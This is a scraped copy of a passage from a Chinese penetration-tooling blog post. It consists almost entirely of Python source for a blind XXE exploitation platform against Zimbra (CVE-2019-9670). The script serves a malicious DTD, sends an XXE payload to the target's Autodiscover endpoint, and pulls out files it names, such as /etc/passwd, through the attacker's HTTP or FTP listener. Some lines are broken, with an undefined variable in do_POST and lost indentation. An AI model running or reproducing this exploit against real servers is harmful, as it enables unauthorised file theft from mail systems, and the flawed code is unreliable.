3
渗透工具开发——blind XXE利用平台的实现
source link: https://3gstudent.github.io/%E6%B8%97%E9%80%8F%E5%B7%A5%E5%85%B7%E5%BC%80%E5%8F%91-blind-XXE%E5%88%A9%E7%94%A8%E5%B9%B3%E5%8F%B0%E7%9A%84%E5%AE%9E%E7%8E%B0
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
0x04 开源代码
这里以Zimbra XXE漏洞(CVE-2019-9670)为例,开发一个blind XXE利用平台
完整代码如下:
#Python3
import sys
import urllib3
import requests
import threading
import socket
from threading import Thread
from http.server import HTTPServer, SimpleHTTPRequestHandler
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
filetoread = ""
xxeplatform_url = ""
xxeplatform_http_port = ""
xxeplatform_ftp_port = ""
class XXERequestHandler(SimpleHTTPRequestHandler):
def log_message(self, format, *args):
return
def do_GET(self):
if self.path.endswith("file.dtd"):
print("[+] Delivering DTD file to " + self.client_address[0])
if xxeplatform_ftp_port == "false":
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'http://{xxeplatform_url}:{xxeplatform_http_port}/?requestfiledata=%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
else:
xml = """<!ENTITY % file SYSTEM "file://{filetoread}">
<!ENTITY % eval "<!ENTITY % exfiltrate SYSTEM 'ftp://{xxeplatform_url}:{xxeplatform_ftp_port}/%file;'>">
%eval;
%exfiltrate;""".format(filetoread=filetoread,xxeplatform_url=xxeplatform_url,xxeplatform_ftp_port=xxeplatform_ftp_port)
self.send_response(200)
self.send_header("Content-Length", len(xml))
self.end_headers()
self.wfile.write(str.encode(xml))
if "?requestfiledata=" in self.path:
print("[+] Read file content successfully. The contents are as follows:")
print(self.path[18:])
def do_POST(self):
print(self.path)
post_data = self.rfile.read(length).decode()
print(post_data)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write()
#Reference:https://github.com/TheTwitchy/xxer/
class FTPserverThread(threading.Thread):
def __init__(self, conn_addr):
conn, addr = conn_addr
self.conn = conn
self.addr = addr
threading.Thread.__init__(self)
def run(self):
self.conn.send(b'220 Welcome!\r\n')
print("[+] Read file content successfully. The contents are as follows:")
while True:
data = self.conn.recv(1024)
if not data:
break
else:
if "RETR" in bytes.decode(data):
print(bytes.decode(data)[5:], end='')
elif "CWD" in bytes.decode(data):
print(bytes.decode(data)[4:], end='')
#print("FTP: recvd '%s'" % bytes.decode(data))
if "LIST" in bytes.decode(data):
self.conn.send(b"drwxrwxrwx 1 owner group 1 Feb 21 04:37 test\r\n")
self.conn.send(b"150 Opening BINARY mode data connection for /bin/ls\r\n")
self.conn.send(b"226 Transfer complete.\r\n")
elif "USER" in bytes.decode(data):
self.conn.send(b"331 password please\r\n")
elif "PORT" in bytes.decode(data):
self.conn.send(b"500 PORT command error\r\n")
elif "RETR" in bytes.decode(data):
self.conn.send(b"500 Sorry.\r\n\r\n")
else:
self.conn.send(b"230 more data please\r\n")
class FTPserver(threading.Thread):
def __init__(self, port):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
self.sock.bind(("0.0.0.0", port))
threading.Thread.__init__(self)
def run(self):
self.sock.listen(5)
while True:
th = FTPserverThread(self.sock.accept())
th.daemon = True
th.start()
def stop(self):
self.sock.close()
def send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url):
xxe_data = r"""<!DOCTYPE Autodiscover [
<!ENTITY % dtd SYSTEM "http://{xxeplatform_url}:{xxeplatform_http_port}/file.dtd">
%dtd;
]>
<Autodiscover xmlns="http://schemas.microsoft.com/exchange/autodiscover/outlook/responseschema/2006a">
<Request>
<EMailAddress>aaaaa</EMailAddress>
<AcceptableResponseSchema>&fileContents;</AcceptableResponseSchema>
</Request>
</Autodiscover>""".format(xxeplatform_url=xxeplatform_url,xxeplatform_http_port=xxeplatform_http_port)
headers = {
"Content-Type":"application/xml"
}
r = requests.post("https://"+target_url+"/Autodiscover/Autodiscover.xml",data=xxe_data,headers=headers,verify=False,timeout=30)
if __name__ == '__main__':
if len(sys.argv)!=5:
print("blind_XXEPlatform_CVE-2019-9670.py")
print("It supports receiving results through HTTP or FTP protocol.")
print("Usage:")
print("%s <xxeplatform_url> <xxeplatform_http_port> <xxeplatform_ftp_port> <target_url>"%(sys.argv[0]))
print("Note:")
print("If you set the value of <xxeplatform_ftp_port> to false, the HTTP mode will be turned on and the results will be received through HTTP")
print("Eg.")
print("%s 192.168.1.1 80 false 192.168.1.2"%(sys.argv[0]))
print("%s 192.168.1.1 80 21 192.168.1.2"%(sys.argv[0]))
sys.exit(0)
else:
xxeplatform_url = sys.argv[1]
xxeplatform_http_port = sys.argv[2]
xxeplatform_ftp_port = sys.argv[3]
target_url = sys.argv[4]
print("[*] HTTP Server listening on %s"%(xxeplatform_http_port))
httpd = HTTPServer(('0.0.0.0', int(xxeplatform_http_port)), XXERequestHandler)
handlerthr = Thread(target=httpd.serve_forever, args=())
handlerthr.daemon = True
handlerthr.start()
if xxeplatform_ftp_port == "false":
print("[*] Receive results over HTTP protocol")
else:
print("[*] FTP Server listening on %s" % (xxeplatform_ftp_port))
t_ftpd = FTPserver(int(xxeplatform_ftp_port))
t_ftpd.daemon = True
t_ftpd.start()
print("[*] Receive results over FTP protocol")
try:
while 1:
filetoread = input("Input the file path to read(Eg. /etc/passwd):")
send_XXEPayload(xxeplatform_url, xxeplatform_http_port, target_url)
except KeyboardInterrupt:
pass
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK